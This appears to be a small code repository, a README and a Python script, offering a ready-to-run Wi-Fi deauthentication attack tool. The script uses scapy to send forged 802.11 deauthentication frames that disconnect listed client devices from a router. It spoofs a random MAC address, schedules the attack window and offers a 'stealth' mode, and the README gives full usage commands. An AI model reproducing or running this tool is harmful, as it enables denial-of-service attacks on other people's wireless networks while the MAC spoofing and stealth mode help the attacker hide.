├── README.md └── deauth.py /README.md: -------------------------------------------------------------------------------- 1 | # Deauth 2 | Disconnects client from router 3 | 4 | 5 | # Usage 6 | python deauth.py [-h] interface bssid mode blacklist startTime startPeriod endTime endPeriod 7 | 8 | 9 | # Where: 10 | * interface: your wireless interface 11 | * bssid: the mac address of your router 12 | * mode: the attack mode; A = Aggressive, S = Stealth 13 | * blacklist: the list that contains the mac address that you want to disconnect 14 | * startTime: when the attack will start 03:45 15 | * startPeriod: AM or PM 16 | * endTime: when the attack will stop 04:15 17 | * endPeriod: AP or PM 18 | 19 | 20 | # Examples 21 | * python deauth.py wlan0 F8:ED:A5:2A:B5:80 A black.lst 03:39 PM 02:50 PM 22 | * python deauth.py wlan0 F8:ED:A5:2A:B5:80 S black.lst 11:05 PM 01:28 AM 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /deauth.py: -------------------------------------------------------------------------------- 1 | # Date: 07/27/2017 2 | # Distro: Kali linux 3 | # Author: Ethical-H4CK3R 4 | # Description: Deauthenticates Clients From A Network 5 | 6 | import os 7 | import time 8 | import random 9 | import argparse 10 | import threading 11 | import subprocess 12 | from scapy.all import * 13 | 14 | class Deauthenticate(object): 15 | '''Disconnects by sending packets to ap & client''' 16 | def __init__(self,bssid): 17 | conf.verb = 0 18 | self.pkts = [] 19 | self.alive = True 20 | self.bssid = bssid 21 | self.iface = None 22 | self.clients = [] 23 | 24 | def configAttack(self): 25 | self.pkts = [] 26 | for client in self.clients: 27 | self.pkts.append(RadioTap()/Dot11(type=0,subtype=12,addr1=client,addr2=self.bssid,addr3=self.bssid)/Dot11Deauth(reason=7)) 28 | 29 | def sendPkts(self,*args,**kwargs): 30 | [sendp(pkt,iface=self.iface) for _ in range(5) for pkt in self.pkts if self.alive] 31 | 32 | class TimeManager(object): 33 | '''Handles time''' 34 | def __init__(self,hr_start,mn_start,pd_start,hr_end,mn_end,pd_end): 35 | self.atk = False 36 | self.alive = True 37 | # self.status = False 38 | # when to start 39 | self.hr_s = hr_start # hour 40 | self.mn_s = mn_start # minute 41 | self.pd_s = pd_start # period 42 | # when to end 43 | self.hr_e = hr_end 44 | self.mn_e = mn_end 45 | self.pd_e = pd_end 46 | 47 | def now(self): 48 | nw = time.strftime('%I:%M %p',time.localtime()) 49 | hour = nw[:2] 50 | minute = nw[3:5] 51 | period = nw[6:] 52 | return [hour,minute,period] 53 | 54 | def manageTime(self): 55 | while self.alive: 56 | now = self.now() 57 | # check start time 58 | if self.startAtk(now): 59 | self.atk = True 60 | # check end time 61 | if self.endAtk(now): 62 | self.atk = False 63 | time.sleep(.5) 64 | 65 | def startAtk(self,now): 66 | hr,mn,pd = now[0],now[1],now[2] 67 | return True if all([hr == self.hr_s,mn == self.mn_s,pd == self.pd_s]) else False 68 | 69 | def endAtk(self,now): 70 | hr,mn,pd = now[0],now[1],now[2] 71 | return True if all([hr == self.hr_e,mn == self.mn_e,pd == self.pd_e]) else False 72 | 73 | class Generator(object): 74 | def __init__(self): 75 | self.post = 'ABCDEF0123456789' 76 | self.pre = [ 77 | '00:aa:02',# Intel 78 | '00:13:49',# Zyxel 79 | '00:40:0b',# Cisco 80 | '00:1c:df',# Belkin 81 | '00:24:01',# D-link 82 | '00:e0:4c',# Realtek 83 | '00:e0:ed',# Silicom 84 | '00:0f:b5',# Netgear 85 | '00:27:19',# Tp-link 86 | '00:0A:F7',# Broadcom 87 | ] 88 | 89 | def getPrefix(self): 90 | shuffled = random.sample(self.pre,len(self.pre)) 91 | return shuffled[random.randint(0,len(self.pre)-1)] 92 | 93 | def getPostfix(self): 94 | return self.post[random.randint(0,len(self.post)-1)] 95 | 96 | def generate(self): 97 | post = ['{}{}:'.format(self.getPostfix(),self.getPostfix()) for n in range(3)] 98 | post = ''.join(post)[:-1] 99 | return '{}:{}'.format(self.getPrefix(),post) 100 | 101 | class Interface(Generator): 102 | def __init__(self,iface): 103 | super(Interface,self).__init__() 104 | self.iface = iface 105 | self.devnull = open(os.devnull,'w') 106 | self.macAddress = self.generate() 107 | 108 | def managedMode(self): 109 | self.destroyInterface() 110 | 111 | def monitorMode(self): 112 | self.createInterface() 113 | subprocess.Popen('ifconfig {} down'.format(self.iface),stdout=self.devnull,stderr=self.devnull,shell=True).wait() 114 | subprocess.Popen('iwconfig {} mode monitor'.format(self.iface),stdout=self.devnull,stderr=self.devnull,shell=True).wait() 115 | subprocess.Popen('macchanger -m {} {}'.format(self.macAddress,self.iface),stdout=self.devnull,stderr=self.devnull,shell=True).wait() 116 | subprocess.Popen('ifconfig {} up'.format(self.iface),stdout=self.devnull,stderr=self.devnull,shell=True).wait() 117 | 118 | def createInterface(self): 119 | subprocess.Popen('iw {} interface add mon0 type monitor'.format(self.iface),stdout=self.devnull,stderr=self.devnull,shell=True).wait() 120 | self.iface = 'mon0' 121 | 122 | def destroyInterface(self): 123 | subprocess.Popen('iw dev mon0 del',stdout=self.devnull,stderr=self.devnull,shell=True).wait() 124 | 125 | class Engine(Deauthenticate,TimeManager,Interface): 126 | '''Disconnect a router & a client using scapy on a certain time''' 127 | def __init__(self,blacklist,iface,mode,mac,hr_start,mn_start,pd_start,hr_end,mn_end,pd_end): 128 | Interface.__init__(self,iface) 129 | Deauthenticate.__init__(self,mac) 130 | TimeManager.__init__(self,hr_start,mn_start,pd_start,hr_end,mn_end,pd_end) 131 | 132 | self.atk = False 133 | self.alive = True 134 | self.delay = 35 if mode == 'S' else 1 135 | self.blacklist = blacklist 136 | 137 | def display(self): 138 | while self.alive: 139 | ends = '{}:{} {}'.format(self.hr_e,mn_e,pd_e) 140 | starts = '{}:{} {}'.format(self.hr_s,mn_s,pd_s) 141 | mode = 'Aggressive' if self.delay == 1 else 'Stealth' 142 | subprocess.call(['clear']) 143 | if self.atk: 144 | print 'Status\n[-] Mode: {}\n[-] Attacking: True\n[-] Attacking Ends: {}'.format(mode,ends) 145 | else: 146 | print 'Status\n[-] Mode: {}\n[-] Attacking: False\n[-] Attacking Starts: {}'.format(mode,starts) 147 | time.sleep(.5) 148 | 149 | def wait(self): 150 | for n in range(self.delay): 151 | if not self.alive:break 152 | time.sleep(1) 153 | 154 | def readFile(self): 155 | # reads blacklist 156 | with open(self.blacklist,'r') as f: 157 | self.clients = [n.replace('\n','').strip() for n in f] 158 | 159 | def attack(self): 160 | self.configAttack() 161 | map(self.sendPkts,range(256)) 162 | 163 | def run(self): 164 | threading.Thread(target=self.manageTime).start() # keeps track of time 165 | threading.Thread(target=self.display).start() # display status 166 | while self.alive: 167 | if self.atk: 168 | self.readFile() 169 | self.attack() 170 | self.wait() 171 | else: 172 | time.sleep(.5) 173 | 174 | if __name__ == '__main__': 175 | # assign arugments 176 | userArgs = argparse.ArgumentParser() 177 | userArgs.add_argument('interface',help='wireless interface') 178 | userArgs.add_argument('bssid',help='bssid of router') 179 | userArgs.add_argument('mode',help='[A]ggressive [S]tealth') # Aggressive: 1 sec; Stealth: 35 sec 180 | userArgs.add_argument('blacklist',help='path to blacklist with mac addresses') 181 | userArgs.add_argument('startTime',help='time to start attack. 12 format Time; Enter 05:12') 182 | userArgs.add_argument('startPeriod',help='AM/PM') 183 | userArgs.add_argument('endTime',help='time to stop attack. 12 format Time; Enter 10:05') 184 | userArgs.add_argument('endPeriod',help='AM/PM') 185 | args=userArgs.parse_args() 186 | 187 | # assign variables 188 | mac = args.bssid 189 | wlan = args.interface 190 | mode = args.mode[0].upper() 191 | blacklist = args.blacklist 192 | hr_e,mn_e,pd_e = args.endTime[:2],args.endTime[3:5],args.endPeriod.upper() 193 | hr_s,mn_s,pd_s = args.startTime[:2],args.startTime[3:5],args.startPeriod.upper() 194 | engine = Engine(blacklist,wlan,mode,mac,hr_s,mn_s,pd_s,hr_e,mn_e,pd_e) 195 | 196 | try: 197 | # start 198 | engine.iface = wlan 199 | engine.monitorMode() 200 | engine.run() 201 | except KeyboardInterrupt: 202 | engine.alive = False 203 | engine.managedMode() 204 | --------------------------------------------------------------------------------